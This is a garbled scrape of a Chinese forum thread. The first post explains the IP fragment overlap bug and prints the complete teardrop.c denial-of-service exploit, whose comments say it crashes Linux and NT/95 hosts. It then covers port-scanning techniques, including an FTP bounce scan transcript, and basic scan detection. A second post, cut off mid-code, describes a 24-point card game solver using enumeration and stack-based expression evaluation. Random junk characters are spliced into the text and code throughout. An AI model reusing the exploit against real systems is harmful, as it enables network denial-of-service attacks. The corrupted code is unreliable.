' z* D3 R  s6 A% w) u第一个碎片:mf=1 offset=0 payload=20
7 a; z( W! ]1 k4 I( F! r9 |* T敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 6 l4 I$ O0 s& Q
offset=0
/ h6 f2 _2 G; s7 `这样第二个碎片的 end=9+10=19
' p* K; k, q' r2 ]; ?* Boffset=offset+(20-offset)=20
' Q/ D8 @# Y7 U- S# ?5 i2 `fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>/ g' N: T: e  T0 B# f9 T
/*
; c: T" Q) x$ I* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
8 H. P6 c( R, _7 M0 _) r4 ^*) @/ A4 ^8 _1 {
* Linux/NT/95 Overlap frag bug exploit  R6 p7 C8 A0 _0 Q. O$ g
** H4 M' }2 N5 K- P: C: Y$ P
* Exploits the overlapping IP fragment bug present in all Linux kernels and3 o0 {3 U$ l5 g6 h4 |5 o
* NT 4.0 / Windows 95 (others?)
- B' n( @9 _- D5 X# O2 u*
1 }- d, N, g6 v% U' X' i* Based off of: flip.c by klepto
5 j! X8 d# g% n' _7 r2 O* {% r* Compiles on: Linux, *BSD*. X' I; u5 r6 O8 i! ^
*7 N) T2 |' u' ~3 q: v
* gcc -O2 teardrop.c -o teardrop+ g4 V) m$ V  H9 [5 s( f5 [
* OR/ ^8 G2 i- D9 B' [7 [0 O
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING: t) \% l- N  W
*/</P><P>#include <STDIO.H>$ L2 V9 y! X7 j/ w- ~
#include <STDLIB.H>
4 I# n: a7 ^' o8 y' _7 b  g2 W#include <UNISTD.H>
( ?. K" Q( K  [5 n# k8 H#include <STRING.H>
, L! g( l  C" H5 h8 e#include <NETDB.H>
8 S: R4 B) E) ^9 {6 n#include <NETINET in.h>
4 _2 a( R# n  Y$ p5 u1 |#include <NETINET udp.h>
0 S# m! n9 ^. Y! k9 E* k+ D+ d#include <ARPA inet.h>% w9 c* q3 G8 y3 W& T
#include <SYS types.h>. b# }6 V& }8 N  d6 m
#include <SYS time.h>
* ?, X6 d; D0 g4 H# O  h#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
" `* {, q  S$ x$ M/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
9 a% r5 t" t8 p; r! M#define FIX(n) (n)
7 ]" E4 ^% B7 j8 u#else /* OpenBSD 2.1, all Linux */* h3 V5 A, y) V' n1 L
#define FIX(n) htons(n)
, Q4 C4 m, A: k! Q& B5 S#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */+ Q( O* S& T) X# U5 @; C7 S
#define IPH 0x14 /* IP header size */7 A0 A6 ^% P* v- P. y& ]% n% T
#define UDPH 0x8 /* UDP header size */
& H- v% X; Z" [1 K% }- F7 @#define PADDING 0x1c /* datagram frame padding for first packet */
! m% o: x' v, E4 l#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */. n; w; t; w3 F2 {2 D2 f, X
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
# @' q$ t# K+ U( O8 r2 c* withstand maybe 5 or 10 sometimes... Experiment.
; r1 u; h. z9 N: y" j! L*/</P><P>void usage(u_char *);. M+ @9 A, \3 c8 ~) i( j6 ]
u_long name_resolve(u_char *);- h. _; D: [" ?. h: {' B& t* Y
u_short in_cksum(u_short *, int);0 q( R( k5 {3 v7 p) Z" C
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)  m5 V! c& m% M: |
{$ [+ Y. s. B  `3 h5 a
int one = 1, " c6 Q4 c4 l2 H1 ^" Y5 d; F( C$ r
count = 0, 1 s( i7 C  c4 x/ d
i,
1 w3 r+ @" `4 Lrip_sock;. M1 B* X$ H- [- K
u_long src_ip = 0, dst_ip = 0;: C  @3 R6 k, u* X
u_short src_prt = 0, dst_prt = 0;) S4 }/ J' X# E* a
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
0 u" F5 I& [# a4 yif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
' U/ y6 O' C8 N0 ]: j{
7 E, {# P- E9 F7 }perror("raw socket");" w, B0 O! h6 K6 `; @. S- b$ F
exit(1);9 ?. P+ c0 V7 s) u3 v
}! ^" r7 d: v% l2 W! I8 ?
//由系统处理IP校验和。9 A0 Y# v, h/ P, j0 h
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))  [* I. g$ `# O7 t
&lt; 0)
& I. X* M  F: K4 v/ s{4 @' b  l3 i- N0 _+ |: x! C
perror("IP_HDRINCL");
4 u/ L$ d( T* m" e3 L# f% I: m  n( T; cexit(1);
, z$ s% W; R# P; H* V- w% v}</P><P>if (argc &lt; 3) usage(argv[0]);" c5 x2 T3 K) k& S6 e
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))6 z* b; P' i/ Y7 o1 N0 I
{8 q; w5 E7 J- y: r8 ?6 c
fprintf(stderr, "What the hell kind of IP address is that?\n");9 |/ |% {/ X* Q1 Z$ T0 {, J
exit(1);1 J8 W; ?7 I5 V9 e- h" P( H* D$ B
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
. W8 P5 @0 D" G9 }1 u7 N. r0 g{1 r) _" R% N* y( g# ^
switch (i)
: u- T7 t" V5 U8 o, Z& W- T$ s{
0 O6 q9 q, P; U1 r8 ucase 's': /* source port (should be emphemeral) */! K1 e; y$ W* n! ]
src_prt = (u_short)atoi(optarg);
  @# o! q- c3 p; Q7 D) `4 xbreak;7 s+ h- ?; U  \- P
case 't': /* dest port (DNS, anyone?) */2 y' q9 E) ?, C8 A
dst_prt = (u_short)atoi(optarg);, v( y" d( S0 ~* l
break;6 M/ {( q# n! W" d/ P% O
case 'n': /* number to send */
- H+ L1 A' t  B6 n3 r8 ]  ]' _) rcount = atoi(optarg);4 f0 J  b  W3 C  c- P* W$ z9 e
break;" {5 o' b) G. [, l: V
default :% W/ v4 t9 v, k$ @5 U* b
usage(argv[0]);
# A, a) z, O/ b* _# m0 Y# E4 @break; /* NOTREACHED */
- e- Y4 x: P4 i: L}& z% ?5 m, x" C  T6 Z4 H9 I7 a
}</P><P>srandom((unsigned)(time((time_t)0)));9 L( v1 J+ m: W
if (!src_prt) src_prt = (random() % 0xffff);
& f' ^' s/ p) V6 f! y8 ?if (!dst_prt) dst_prt = (random() % 0xffff);
/ L- w3 Q4 A6 u( G2 q+ }if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");# Z% c1 m& b- f0 D! x: x4 k% F6 \
addr.s_addr = src_ip;. C' H2 J% Z- i; a" h
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
7 s: Y7 M% U0 [8 J" Y; qaddr.s_addr = dst_ip;' s$ j$ h5 h3 h: `
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
# g, ]3 o# p) `% J6 \fprintf(stderr, " Amt: %5d\n", count);
' h+ J* O- _0 ~8 }3 p8 Z- ]fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
2 F# J( f# K5 X4 x1 D" Q{  U: K$ n+ g1 T: ]. D
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
3 W  {% a, ?- _fprintf(stderr, "b00m ");/ a8 h2 E5 x" s3 |& v. X- H* c
usleep(500);3 r1 o+ |$ F( b% o( d
}
8 z; r6 A4 E0 j0 Hfprintf(stderr, "]\n");; ~/ A' n6 @2 j
return (0);
, v# B9 R8 }) s" x}</P><P>/*3 Y& P/ y! g0 \  ~: S" g3 [
* Send two IP fragments with pathological offsets. We use an implementation* n6 q$ a- f! }/ }7 W4 e
* independent way of assembling network packets that does not rely on any of1 x# K( j; I8 V1 V0 I8 ]1 M
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).) a: v$ O4 O, Y8 d& i( I
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,' ?- a7 Z7 O2 A! y. e+ R7 u0 \
u_short dst_prt)3 C- s. l  T! q3 o
{2 G/ g$ o4 I& Y( X. k: d& @
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */3 {+ I: B  e0 l
u_char byte; /* a byte */
" a' q% ^0 a7 g6 nstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;: i$ y+ e7 g9 o/ B4 W" k" L/ Z- ^
sin.sin_port = src_prt;
, m8 y( @# {6 ?" a: L6 q: v5 |8 ^+ i0 Qsin.sin_addr.s_addr = dst_ip;</P><P>/*
+ C% u4 D  n) H8 h+ {* Grab some memory for our packet, align p_ptr to point at the beginning, t4 v. Y& j* w. ~
* of our packet, and then fill it with zeros.% F& g2 G/ A! A7 O9 X, H0 E1 _
*/
9 C4 w% u- E2 E( c: Jpacket = (u_char *)malloc(IPH + UDPH + PADDING);
2 b- k6 _7 U% r# m/ }p_ptr = packet;
! ^7 V) |1 k9 Q  o  r/ K1 obzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */9 J8 d* B3 D# G
memcpy(p_ptr, &amp;byte, sizeof(u_char));2 `; t/ a9 @! H8 @  g* a# h* D: q- d( D* y
p_ptr += 2; /* IP TOS (skipped) */' e; g/ W- M; a5 I' ]( z/ H
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length *// S" V( v$ _9 a8 ^' \! u' Q
p_ptr += 2;6 A) H8 y; k/ O0 J8 @* Y1 a
*((u_short *)p_ptr) = htons(242); /* IP id */  J: _) i" N- S. D
p_ptr += 2;  h' C" v7 E$ o% d2 x2 ~/ ]
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
! V: N, N8 y9 d9 r* z/ ^- up_ptr += 2;
% B* k, K7 I7 c4 ]! Z) _*((u_short *)p_ptr) = 0x40; /* IP TTL */( Z% c, {+ q& j* J5 P3 M; r
byte = IPPROTO_UDP;
; }, v2 C( r3 v- kmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));2 B: Y* U6 r1 d3 z5 m7 ~" L
p_ptr += 4; /* IP checksum filled in by kernel */6 p6 Q- c: n# ]9 [% k7 d. [
*((u_long *)p_ptr) = src_ip; /* IP source address */
6 r/ L" S( |! tp_ptr += 4;! x( }2 p' v, o: M" [6 x' S: P1 |
*((u_long *)p_ptr) = dst_ip; /* IP destination address */. b6 v' a1 n" I. f5 T
p_ptr += 4;
+ R/ l2 g. g( J. e- R2 A*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
" e; C+ M" x  `! Q% ^8 Pp_ptr += 2;. b  ]- e4 G1 \
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */! }3 h3 ]; E: ]+ B
p_ptr += 2;: K: G5 a" y! D0 X1 h' [
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,$ {2 i+ S2 R: V6 r; M4 P
sizeof(struct sockaddr)) == -1)4 M8 M8 D$ m' P7 E9 `- V+ i
{8 j2 G5 g  ]4 k
perror("\nsendto");( O8 I8 l  _6 T% t
free(packet);
& E4 N. W) I6 r- Pexit(1);
5 ]' p8 E7 M% [( R# F5 T}</P><P>/* We set the fragment offset to be inside of the previous packet's0 i2 y( P6 v$ y4 ~
* payload (it overlaps inside the previous packet) but do not include
/ b( B* G9 r$ S* {9 o! ~* enough payload to cover complete the datagram. Just the header will
2 d& i2 s; k3 o1 X, _* do, but to crash NT/95 machines, a bit larger of packet seems to work
2 p" K* G- y  g/ d* better.
8 `4 Q  d+ {- {, ?4 i7 s3 A4 h*/! A1 s' \8 j( S; [  p
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */$ d  r# n. P  y$ z% f3 _( M
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);7 g! L/ j' _* {! N$ S7 z! X; ^% ?5 w
p_ptr += 4; /* IP offset is 6 bytes into the header */
  ~6 W; p$ Q2 x( o# a*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,( X4 j; _7 D9 V8 Q! ~, ]* w% m
sizeof(struct sockaddr)) == -1)/ N+ r7 b$ f' I. I' s
{  B$ `# A# E) i$ _: P
perror("\nsendto");
7 P# P! @- g9 ~) _2 Ufree(packet);4 K( b/ k$ V( W/ |# w8 o  Y, |
exit(1);
8 n% s+ q9 Z# m% m- s& V}
1 @! D1 F7 E) q5 c; ]7 ~free(packet);* T1 r3 T% z, |" W' B* i
}</P><P>u_long name_resolve(u_char *host_name)
- Z5 u) v" u$ T7 v3 b# j* z( {{; h2 Y2 |+ F1 l/ k6 C- R/ C
struct in_addr addr;- a4 f* W% }6 C: a. q* ^1 B% g
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1), X0 O' p6 P% R! G, }5 i, y: U5 [% d
{% N( _6 f+ \7 Y1 w  D: L
if (!(host_ent = gethostbyname(host_name))) return (0);" O1 l( A$ @3 @  A+ O. u+ q
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
( U0 v6 U8 C" y}; w, |" d0 p3 g! }: j
return (addr.s_addr);/ \) D. x' o/ F3 y9 G
}</P><P>void usage(u_char *name)
9 ~/ g' E; O3 O) W{
  L- u0 y# G+ F# h0 j& D; ~fprintf(stderr,# E- Y1 |# V5 C/ ?
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",/ I$ x% d- ]9 B% P% H2 o
name);% t  v) b! L& z: k: |) b
exit(0);+ r  o* q+ d0 Q( ^8 x, {
}</P><P>
' y3 n# g9 ~6 P% z' d+ P) b4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
' T  J9 P& _# Z. c(1) Half-open(半打开)1 W- t5 i3 w0 S% y- {/ s. G+ p
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),2 ^) S' @" E" L! E4 |8 b, a
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
2 c. ], |5 }" ?6 W0 H$ k8 L; P4 b利用了FTP的port命令,例如可以这样作:, G8 E9 A7 k: U/ |: |" j) ]! o  g
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
. V% g! j* @: Q7 A值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则. l$ T% v7 v. e* S
该端口无服务。
: U6 z6 b1 s! w; }5 @telnet 192.168.1.13 21: `1 Q9 Z% r& A; y' c% i
Trying 192.168.1.13...
5 ]6 E% ?% y6 O) J6 }2 L+ mConnected to pp.bricks.org.0 A! e" a" Z' v$ Z) S
Escape character is '^]'.
- }7 \3 r9 ^5 \& N  m220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) / E! I3 Z3 w8 \+ O0 i
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
! }/ ]& z; c) H7 L4 i% r* e331 Guest login ok, send your complete e-mail address as password.
' V- `( w$ K+ |" ^3 e" A3 lpass aa@aa.aa
+ C" y% u# O& w230 Guest login ok, access restrictions apply.
+ w) G0 l4 k- R( m0 }% ~, iport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.6 ~; [, u, d! s8 [% h9 T3 _% Z
425 Can't build data connection: Connection refused.
2 Y$ N) D4 C9 P; x//该端口未活动
: g6 X; i0 O1 f" A" {150 Opening ASCII mode data connection for file list.4 ]5 r2 H! Y+ I" R
226 Transfer complete.( Z6 M  i* f. t$ `
//该端口活动中
) n# M) h4 t. @/ ?5 C0 J: _但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
6 D+ }; o- ~+ c: X3 ^SYN|FIN ACK or SYN|ACK* RST
8 X6 o( t1 C# ^2 P4 iACK Nothing RST/ j$ \5 w9 R5 B  y4 Z+ g2 T6 e& V& I0 v
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport# Z, S1 K& ^3 b
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,) P& n% c8 Q1 F# {0 ]8 Z3 _
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认0 ~8 J, E1 @! A1 H
定它在向你做portscan。</P><P>notes:" p7 ]8 K. f, s' f9 w6 {/ T
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
# G9 I1 E% G5 L而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的$ O, D" b0 }5 p3 U% a% Q
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>  C+ H. B& {0 H3 o) X$ {8 Z
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。5 X' v5 I3 Z: }
  j2 b* M: L1 |/ n, f+ e
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
. z; w& R. ~. y8 p$ R2 j9 I首先穷举的可行性问题。我把表达式如下分成三类——
  @0 |4 M4 ?, r<FONT color=#ff0000>1、 无括号的简单表达式。
7 Q0 c+ F( o' M" l9 @" h: K( h2 J2、 有一个括号的简单表达式。1 I; _6 s2 X! c7 A3 N: b
3、 有两个括号的较复4、 杂表达式。
9 B6 ^! X" h, V8 [2 I0 q  [</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
  ^* j. W2 Q7 R* `7 s$ W) U! C<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
9 s4 p# ~. `/ m4 X  r2 O, S2 y/* c[] 存放四张牌的数组 */- E  Z& w9 G9 Z! \: y! Q3 G" i
/* k[] c[]种四张牌的代号,其中k[I]=I+1。5 Y  |4 V- l0 ]+ g
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */* u. O& [. L/ d. G( S8 \
/* kans[] 暂存生成的排列组合 */! ^$ T7 L- |2 O6 i: Z
/* j 嵌套循环的次数 */
; Z9 `, J' R  }# b' bint fans(c,k,ans,kans,j)
. m/ |( Q8 w" @  ]0 C5 @) A3 B$ y* ~int j,k[],c[];char ans[],kans[];
% z( V* m4 n* `2 X{ int i,p,q,r,h,flag,s[4],t[4][4];/ n3 n  H! S$ Z
for(p=0,q=0;p&lt;4;p++)
# Y2 K) h# W* ^{ for(r=0,flag=0;r<J;R++). h- d- {% n5 I9 D7 M
if(k[p]!=kans[r]) flag++;  e8 w$ ?0 e" T8 d/ n. B
if(flag==j) t[j][q++]=k[p];
: L* w' B% X$ D2 H}' f1 U0 |* C  }+ v; \0 f, l( ?, h
for(s[j]=0;s[j]&lt;4-j;s[j]++). j' r% \+ E$ B. }
{ kans[j]=t[j][s[j]];! b4 F6 y. |: @% b/ q7 Q& ^
if(j==3) { for(h=0;h&lt;4;h++)
1 T# i, l9 t# k* v/ s, X0 Mans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表% \; K# P2 z9 w( A* E7 j) }% M( Q
达式中的位置 */! @7 r4 z) _5 ~: m' z; h
for(h=0;h&lt;3;h++)
1 k3 w* v0 w1 Q' S6 H& {- w& a9 jsymbol(ans,h); /* 在表达式中添加运算符号 */; \' f9 \* h; n( n
}' |! X# s1 z: |5 J& ]0 ]
else { j++;& ~9 Z$ V& d$ q8 V) _7 T
fans(c,k,ans,kans,j);4 S8 O) x4 n& o0 t, H; i
j--;; @( @0 W+ E% s
}
1 {3 ]' O) S3 Y}
& a) Q7 Q! G: U7 `: O4 `}</FONT>0 v+ d8 n+ M$ |# h2 r0 ]

# i, f" A) f8 c8 P1 Q5 z7 \  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
' M* Q6 {* n3 ~! U' ^8 c0 G5 c* O2 I8 J
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/' ~" r' O3 q! a* c7 l
int sans(ans,sy,j,h)
+ x1 j1 c4 j, i( Y& schar ans[],sy[];int j,h;
8 k$ ~, \; r' b! P; K{ int i,p,k[3],m,n; char ktans[20];
3 c' Q0 \, F4 i( l9 Z8 Ffor(k[j]=0;k[j]&lt;4;k[j]++)8 _+ ?- E" F4 F0 i' ?9 }
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
" t- {2 w! }8 E# y8 ^# R这里的三个运算符号分别存放在1、3、5位*/
4 `% U' Q4 N& E# h$ c0 f" yif(j==2)$ u/ H- z" O' f% Y
{ ans[5]=sy[k[j]];
- o0 Z! H: m2 b/* 此处根据不同的表达式形式再进行相应的处理 */5 D4 J; x% d' j% A
}
( v0 \* p* v  n2 s6 }else { j++; sans(ans,sy,j--,h); }9 J9 I/ J, n  C( ?! i8 ?% i
}
. f6 c4 Q7 V5 S8 U: M/ E}5 f0 L9 J) @2 u9 S

- o4 ^' N) l0 T# y6 i) f' J, \</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。& m8 K& }, r: I4 V* n- m. [
for(m=0;m&lt;=4;m+=2)
3 `# ^$ @' B* A& Sfor(n=m+4;n&lt;=8;n+=2). r" p4 N4 V/ K- s. J  c
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。+ i" ^$ R  v8 L- K

/ U" U( @5 K  x  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。( x! }/ w6 f$ }( U5 D7 t' Q, L( [  a
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。# F( z. y3 q4 l" s
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。1 f8 C) \$ }$ Q# R) g2 Y/ T" b
2 H6 y+ b6 p: [+ l" O+ w" D
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
. ^5 T  m$ H% [" c  z/ Y% o- s! v8 h& l+ s% u3 D& O
  那么作为栈的著名应用,表达式的计算可以有两种方法。
* f3 @: G! ~. i5 V
# u: R% K1 L. @6 p: R  <FONT color=#ff0000>第一种方法——</FONT>9 x; }  U+ v7 c3 b
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
: x7 h+ L& y0 Q" N# S6 ^2 ^6 [  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
2 X+ g% h  Z. D9 ?1、 若W为操作数
& O( M+ c. `3 o5 H2、 则将W压入操作数栈OVS
9 L# t4 t6 |, P6 }. S3、 且继续扫描下一个字符
7 \0 A& ^: s$ @0 T% u, ]4、 若W为运算符
# J) K- B' K9 _5、 则根据运算符的性质做相应的处理:
8 c2 S) u0 u: L% v1 J/ Z(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
& T8 J' E6 T; ^! T(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。  f4 F9 l. e$ x2 F" B% w3 e1 r
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。% L$ e/ {% D+ E0 f% |
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。  G. V. J; q) R. L1 C; ?
. Q0 A8 z  e" r2 K6 x' a
<FONT color=#ff0000>  第二种方法——</FONT>
5 j3 O: z! f' n( i; W  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。: l  `- p. d, e* `/ V0 n
- G8 a, v4 S) [+ w0 N6 J3 r- W% y% ]
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
2 ?  Z1 o3 g; g6 u1 k+ i3 d) _
6 W* R! r9 }$ M% z% f# J1 |   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。  J- a1 ~9 T1 |2 z& L3 D$ k- u5 C6 s
表达式 波兰表达式
  X; z  d2 I4 ~; y& Q6 OA-B AB-/ G( n2 a  P; ?
(A-B)*C+D AB-C*D+
0 \3 h6 j. Q1 D2 X4 t; ?0 }( ~A*(B+C/D)-E*F ABCD/+*EF*-
2 j: c/ C! W% j$ G(B+C)/(A-D) BC+AD-/1 u) N" T2 b# F" T! D6 y( G- {
3 A# W& F) B; K
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。3 Y7 o; q; a# z% Q4 I1 y- W; ^
1 @6 ^% o8 u$ W' E
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。$ s6 x; h% E  ^) {

0 G  M* D( S& c! p! v7 j  下面给出转换和计算的具体实现程序——4 Y0 G, j( e6 c( ~( |6 r( i

+ Y+ V! `( z) G) G2 H% z<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */2 `' H5 y% }* s' e" T
int first(char c)
4 w6 p0 L6 Z, ]& t+ O) K{ int p;
$ @5 l4 ~5 X  w, Nswitch(c), P" j4 D- a8 y* a3 L- c) f) M
{ case '*': p=2; break;  G, C* v3 R6 M$ V8 R
case '/': p=2; break;
* Y- A5 r' g, k( M4 Q" L) ~case '+': p=1; break;
9 P; v8 |) s6 Y( B% vcase '-': p=1; break;7 ?6 D3 |$ ~  X# {4 e% K
case '(': p=0; break;- x, Y. v% j0 h' b; m
case '=': p=-1; break;
7 [' ?, v$ q( n5 H, E}1 p( e4 S0 W0 w5 X# r3 E& X. E
return(p);
% {1 V/ g7 m' N: D: r}, B6 |3 L) V8 O1 c; ~
/* 此函数实现中缀到后缀的转换 */( `& d7 y+ h0 t/ C2 ?
/* M的值宏定义为20 */
* Y2 v' Z* v- o$ s: b! u7 \7 ~/* sp[]为表达式数组 */
, T8 w2 b9 _/ ~- x  x- Eint mid_last()4 L+ J7 X) }! W: Z
{ int i=0,j=0; char c,sm[M];
